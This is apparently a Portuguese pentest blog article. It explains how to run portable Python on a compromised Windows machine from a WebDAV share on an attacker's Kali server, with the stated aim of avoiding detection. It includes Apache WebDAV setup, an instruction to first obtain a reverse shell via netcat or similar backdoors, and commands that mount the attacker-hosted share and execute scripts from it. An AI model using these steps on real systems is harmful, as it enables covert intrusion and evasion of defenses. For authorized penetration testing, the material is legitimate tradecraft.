Ok, você deve estar se perguntando: “Como assim Python sem python?”. Este artigo tem como objetivo mostrar formas alternativas de utilizar a linguagem Python no sistema alvo sem que seja necessário a instalação do mesmo. Por que você faria isto? Conhecer estas alternativas pode ser bastante útil ao pentester dependendo das características do projeto que esteja realizando.
O que vamos fazer é o seguinte: Usar o Python a partir de uma pasta virtual WebDAV. A grande vantagem de se utilizar o Python em uma pasta virtual WebDAV é que não é necessário copiar manualmente cada script para a máquina alvo, minimizando a chance de detecção dos scripts Python por sistemas de defesas. No teste de invasão, assim como num ataque real, o atacante (ou o profissional simulando um ataque) tentará minimizar as chances de ser notado pelo sistema, evitando disparar no sistema algum alerta que possa comprometer o sucesso da operação.
Pois bem, ei aqui a descrição do método proposto:
Primeiro, será necessário configurar um servidor WebDAV no Kali Linux:
root@kali# a2enmod dav
root@kali# a2enmod dav_fs
root@kali# a2enmod allowmethods
Crie o diretório do WebDAV:
root@kali# mkdir /var/www/html/webdav
Crie também dois diretórios dentro do WebDAV, sendo que cada um irá conter a versão específica do Python (diretório python32 para a versão x86 do Python e diretório python64 para a versão x86_64 do Python):
root@kali# mkdir /var/www/html/webdav/python32
root@kali# mkdir /var/www/html/webdav/python64
Realize o download do Python portável em https://python.org/downloads/windows e extração manual dos arquivos (Windows x86-64 embeddable zip file e Windows x86 embeddable zip file) em seus respectivos diretórios (Python portável x86-64 deve ser extraído para o diretório /var/www/html/webdav/python64 e o Python portável x86 deve ser extraído para o diretório /var/www/html/webdav/python32).
Configure o arquivo /etc/apache2/apache2.conf, inserindo as seguintes linhas:
<Directory /var/www/html/webdav/>
Options Indexes
DAV On
AllowMethods OPTIONS GET HEAD POST PROPFIND
</Directory>
Reinicie o Apache:
root@kali# systemctl restart apache2
Consiga uma shell reversa via backdoor (pycat, netcat, powercat, etc) e obtenha um cmd funcional para execução local de comandos.
Para cada sessão de shell reversa, será necessário configurar a variável de ambiente PATH do Windows para que o Python portável reconheça o arquivo vcruntime140.dll. Assim, insira o seguinte comando logo após obter o shell reverso:
C:\ > set PATH=%temp%;%path%
No diretório temporário (variável %temp%) realize o upload do arquivo vcruntime140.dll (o mesmo já vem incluso dentro do arquivo Windows x86-64 embeddable zip file ou Windows x86 embeddable zip file). Somente preste atenção para fazer o upload correto do arquivo. Ou seja, faça o upload do vcruntime140.dll da arquitetura de x86-64 para o Windows com essa mesma arquitetura e o upload do arquivo vcruntime140.dll da arquitetura de x64 para o Windows com arquitetura de 64 bits.
Monte o diretório virtual como uma partição de disco:
C:\ > net use w: http://IP_Kali_Linux/webdav
C:\ > w:
W:\ > cd python64
W:\python64 >
Execute o script Python:
W:\python64 > python.exe script.py
Para scripts que requerem bibliotecas de terceiros (como por exemplo a biblioteca Pillow), a seguinte técnica pode ser utilizada:
- Instale o Python no Windows.
- Via pip, instale o pacote necessário, como por exemplo a biblioteca Pillow:
C:\ > pip install pillow
- Os arquivos serão instalados dentro do diretório sites-packages do Windows:
C:\ > pip show pillow
Name: Pillow
Version: 7.1.2
Summary: Python Imaging Library (Fork)
Home-page: https://python-pillow.org
Author: Alex Clark (PIL Fork Author)
Author-email: aclark@python-pillow.org
License: HPND
Location: C:\users\usuario\appdata\local\programs\python\python38\lib\site-packages
Requires:
Required-by:
- Copie o diretório C:\users\usuario\appdata\local\programs\python\python38\lib\site-packages para /var/www/html/python64/sites-packages (ou /var/www/html/python32/sites-packages, dependendo da arquitetura em teste).
- Insira o seguinte conteúdo no início do script:
import sys
sys.path.append(‘W:\\python64\\site-packages’)
- Execute o script:
W:\python64 > python.exe script.py
Views: 300